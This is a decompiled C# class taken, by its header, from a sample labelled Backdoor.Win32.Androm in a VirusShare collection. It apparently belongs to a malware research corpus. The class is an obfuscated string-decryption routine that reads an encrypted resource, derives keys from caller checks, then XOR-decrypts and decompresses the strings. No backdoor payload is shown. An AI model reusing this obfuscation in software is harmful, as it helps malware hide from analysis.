// Decompiled with JetBrains decompiler // Type:  // Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null // MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Text; internal static class \u000F { private static \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 \u0002; private static \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006 \u0003; private static byte[] \u0005; private static short \u0008; private static int \u0006; private static byte[] \u000E; private static int \u000F; private static int \u0002\u2000; private static \u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002 \u0003\u2000; [MethodImpl(MethodImplOptions.NoInlining)] static \u000F() { int num1 = -426164219; int num2 = num1 - 1979452043; \u000F.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(9); int skipFrames = 1; StackTrace stackTrace = new StackTrace(skipFrames, false); int index = skipFrames - 1; StackFrame frame = stackTrace.GetFrame(index); int num3 = ~-~--~-~~-~(1059686908 - num1 ^ num2) ^ -~~--~~-~-~((num1 ^ -1708053339) + num2); MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); if (frame != null) num3 ^= -~~--~-~~(1149007232 - num1 - num2); Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; int num4; if ((object) type == (object) typeof (RuntimeMethodHandle)) { \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 4 | \u000F.\u0003\u2000; num4 = num3 ^ (num1 - 1979451816 ^ num2) + index; } else if ((object) type == null) { num4 = num3 ^ ~--~~-~-~-~((-1777998651 ^ num1) - num2); \u000F.\u0003\u2000 |= (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 1; } else if ((object) type.Assembly != (object) typeof (\u000F).Assembly) { \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 2 | \u000F.\u0003\u2000; num4 = num3 ^ num1 - 738984598 + num2; } else { \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 16 | \u000F.\u0003\u2000; num4 = num3 ^ ~--~~-~--~~(1979438949 - num1 ^ num2) - index; } \u000F.\u0002\u2000 += num4; } private static void \u0002(byte[] _param0, int _param1, byte[] _param2) { int num1 = 0; int num2 = 0; int num3 = 128; int length = _param2.Length; label_10: while (num1 < length) { if ((num3 <<= 1) == 256) { num3 = 1; num2 = (int) _param0[_param1++]; } if ((num2 & num3) != 0) { int num4 = ((int) _param0[_param1] >> 2) + 3; int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; _param1 += 2; int num6 = num1 - num5; if (num6 < 0) break; while (true) { if (--num4 >= 0 && num1 < length) _param2[num1++] = _param2[num6++]; else goto label_10; } } else _param2[num1++] = _param0[_param1++]; } } [MethodImpl(MethodImplOptions.NoInlining)] internal static string \u0002(int _param0) { int num1 = 77956711; int num2 = num1 + 1837816693; lock (\u000F.\u0002) { string str1; byte[] numArray1; int num3; while (true) { str1 = \u000F.\u0002.\u0002(_param0); if (str1 == null) { int num4; if (\u000F.\u0003 == null) { Assembly executingAssembly = Assembly.GetExecutingAssembly(); Assembly.GetCallingAssembly(); \u000F.\u0006 |= 1988982073 ^ num1 ^ num2; Assembly assembly1 = executingAssembly; StringBuilder stringBuilder = new StringBuilder(); int num5 = num1 - 1919747211 - num2; stringBuilder.Append((char) num5).Append((char) (num5 >> 16)); int num6 = 1457178686 - num1 ^ num2; stringBuilder.Append((char) num6).Append((char) (num6 >> 16)); int num7 = (-1768683592 ^ num1) - num2; stringBuilder.Append((char) (num7 >> 16)).Append((char) num7); int num8 = -1300740973 - num1 + num2; stringBuilder.Append((char) (num8 >> 16)).Append((char) num8); int num9 = num1 + 1837808501 ^ num2; stringBuilder.Append((char) num9); string name = stringBuilder.ToString(); Stream manifestResourceStream = assembly1.GetManifestResourceStream(name); int skipFrames = 1; StackTrace stackTrace = new StackTrace(skipFrames, false); \u000F.\u0006 ^= (num1 ^ 1989541189) - num2 | skipFrames; int index = skipFrames - 1; StackFrame frame = stackTrace.GetFrame(index); MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); \u000F.\u0006 ^= index + (1993729987 - num1 ^ num2); Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; if (frame == null) \u000F.\u0006 ^= (1989557480 ^ num1) - num2; bool flag = (object) type == (object) typeof (RuntimeMethodHandle); \u000F.\u0006 ^= 1837816597 + num1 ^ num2; if (!flag) { flag = (object) type == null; if (flag) \u000F.\u0006 ^= (num1 ^ -1988661040) + num2; } if (flag == (stackTrace != null)) \u000F.\u0006 = 32 ^ \u000F.\u0006; \u000F.\u0006 ^= 1993736617 - num1 - num2 | 1 + index; \u000F.\u0003 = new \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006(manifestResourceStream); short num10 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~(num1 - 1993703369 + num2)); if (num10 == (short) 0) \u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~-~--~~-~(num1 ^ 1989538110 ^ num2)); else \u000F.\u0005 = \u000F.\u0003.\u0002((int) num10); Assembly assembly2 = executingAssembly; AssemblyName assemblyName; try { assemblyName = assembly2.GetName(); } catch { assemblyName = new AssemblyName(assembly2.FullName); } \u000F.\u000E = assemblyName.GetPublicKeyToken(); if (\u000F.\u000E != null && \u000F.\u000E.Length == 0) \u000F.\u000E = (byte[]) null; int num11 = \u000F.\u0002\u2000; \u000F.\u0002\u2000 = 0; long num12 = \u0003\u2000.\u0002(); num4 = num11 ^ (int) (uint) num12 ^ -1478415838 - num1 - num2 ^ -~-~~--~~(545810110 + num1 ^ num2); \u000F.\u000F = num4; \u000F.\u0006 = \u000F.\u0006 & (num1 ^ -1721099279) + num2 ^ num1 + 1837823481 - num2; if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) ~-~--~~-~(num1 ^ -1989535658 ^ num2)) == (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 0) \u000F.\u0006 = num1 - 1993686153 + num2; } else num4 = \u000F.\u000F; if (\u000F.\u0006 != (1989446641 ^ num1) - num2) { int num13 = _param0 ^ (-1668641839 ^ num1) + num2 ^ num4 ^ 1994045410 - num1 - num2; \u000F.\u0003.\u0002().Position = (long) num13; if (\u000F.\u0005 != null) { numArray1 = \u000F.\u0005; } else { short num14 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-1989537901 ^ num1) + num2 ^ num13); if (num14 == (short) 0) { numArray1 = (byte[]) null; } else { numArray1 = \u000F.\u0003.\u0002((int) num14); for (int index = 0; index != numArray1.Length; ++index) numArray1[index] ^= (byte) (\u000F.\u000F >> ((index & 3) << 3)); } } num3 = \u000F.\u0003.\u0002() ^ num13 ^ ~-~--~~--~~(-1016057120 - num1 ^ num2) ^ num4; if (num3 == (num1 - 1993730117 | num2)) { byte[] numArray2 = \u000F.\u0003.\u0002(4); _param0 = (num1 ^ -999205350) + num2 ^ num4; _param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0; } else goto label_33; } else goto label_23; } else break; } return str1; label_23: return new string(new char[3] { (char) (num1 - 1993730027 + num2), '0', (char) (1993730027 - num1 ^ num2) }); label_33: bool flag1 = (num3 & num1 - 1383408779 - num2) != 0; bool flag2 = (num3 & -1764366269 - num1 - num2) != 0; bool flag3 = (num3 & (num1 ^ 157947971) + num2) != 0; int num15 = num3 & (num1 ^ 2036996164 ^ num2); byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num15)); if (\u000F.\u000E != null != (\u000F.\u0006 != -1836208879 - num1 + num2)) { for (int index = 0; index < num15; ++index) { byte num16 = \u000F.\u000E[7 & index]; byte num17 = (byte) ((int) num16 << 3 | (int) num16 >> 5); numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num17); } } int num18 = \u000F.\u0006 - 12; byte[] bytes; int length; if (!flag3) { bytes = numArray3; length = num15; } else { length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; bytes = new byte[length]; \u000F.\u0002(numArray3, 4, bytes); } string str2; if (flag1 && num18 == 1839424495 + num1 - num2) { char[] chArray = new char[length]; for (int index = 0; index < length; ++index) chArray[index] = (char) bytes[index]; str2 = new string(chArray); } else str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); int num19 = num18 + ((num1 ^ 1989535684 ^ num2) + (num18 & 3) << 5); if (num19 != num1 - 1992118185 + num2) { int num20 = num15 + _param0 ^ 1994633739 - num1 ^ num2 ^ num19 & num1 - 1993728822 + num2; ref int local = ref num20; StringBuilder stringBuilder = new StringBuilder(); int num21 = num1 ^ 1989535715 ^ num2; stringBuilder.Append((char) (byte) num21); string format = stringBuilder.ToString(); str2 = local.ToString(format); } if (!flag2) { str2 = string.Intern(str2); \u000F.\u0002.\u0002(_param0, str2); if (\u000F.\u0002.\u0002() == 9) { \u000F.\u0003.\u0003(); \u000F.\u0003 = (\u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006) null; \u000F.\u0005 = \u000F.\u000E = (byte[]) null; } } return str2; } } private sealed class \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006 { private Stream \u0002; private byte[] \u0003; public \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006( Stream _param1) { this.\u0002 = _param1; this.\u0003 = new byte[4]; } public Stream \u0002() => this.\u0002; public short \u0002() { this.\u0002(2); return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8); } public int \u0002() { this.\u0002(4); return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24; } private void \u0002() => throw new EndOfStreamException(); private void \u0002(int _param1) { int offset = 0; if (_param1 == 1) { int num = this.\u0002.ReadByte(); if (num == -1) this.\u0002(); this.\u0003[0] = (byte) num; } else { do { int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset); if (num == 0) this.\u0002(); offset += num; } while (offset < _param1); } } public void \u0003() { Stream stream = this.\u0002; this.\u0002 = (Stream) null; stream?.Close(); this.\u0003 = (byte[]) null; } public byte[] \u0002(int _param1) { byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException(); int length = 0; do { int num = this.\u0002.Read(numArray, length, _param1); if (num != 0) { length += num; _param1 -= num; } else break; } while (_param1 > 0); if (length != numArray.Length) { byte[] dst = new byte[length]; Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length); numArray = dst; } return numArray; } } [DefaultMember("Item")] internal sealed class \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 { private \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] \u0002; private int \u0003; public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008() => this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[16]; public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008( int _param1) { int length = 16; _param1 <<= 1; while (length < _param1 && length > 0) length <<= 1; if (length < 0) length = 16; this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length]; } public int \u0002() => this.\u0003; private void \u0002() { \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray1 = this.\u0002; int length1 = objArray1.Length; int length2 = length1 * 2; if (length2 <= 0) return; \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray2 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length2]; int num1 = 0; for (int index1 = 0; index1 < length1; ++index1) { string str = objArray1[index1].\u0003; if (str != null) { int num2 = objArray1[index1].\u0002; int index2 = num2 & length2 - 1; while (objArray2[index2].\u0003 != null) { ++index2; if (index2 >= length2) index2 = 0; } objArray2[index2].\u0003 = str; objArray2[index2].\u0002 = num2; ++num1; } } this.\u0002 = objArray2; this.\u0003 = num1; } public string \u0002(int _param1) { \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002; int length = objArray.Length; int index = _param1 & length - 1; string str = (string) null; while (objArray[index].\u0002 != _param1) { if (objArray[index].\u0003 != null) { ++index; if (index >= length) index = 0; } else goto label_6; } str = objArray[index].\u0003; label_6: return str; } public void \u0002(int _param1, string _param2) { \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002; int length = objArray.Length; int num1 = length >> 1; int index = _param1 & length - 1; while (true) { do { int num2 = objArray[index].\u0002; bool flag = objArray[index].\u0003 == null; if (num2 == _param1 || flag) { objArray[index].\u0003 = _param2; if (!flag) return; objArray[index].\u0002 = _param1; ++this.\u0003; if (this.\u0003 <= num1) return; this.\u0002(); return; } ++index; } while (index < length); index = 0; } } private struct \u0002 { public int \u0002; public string \u0003; } } private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002 { } }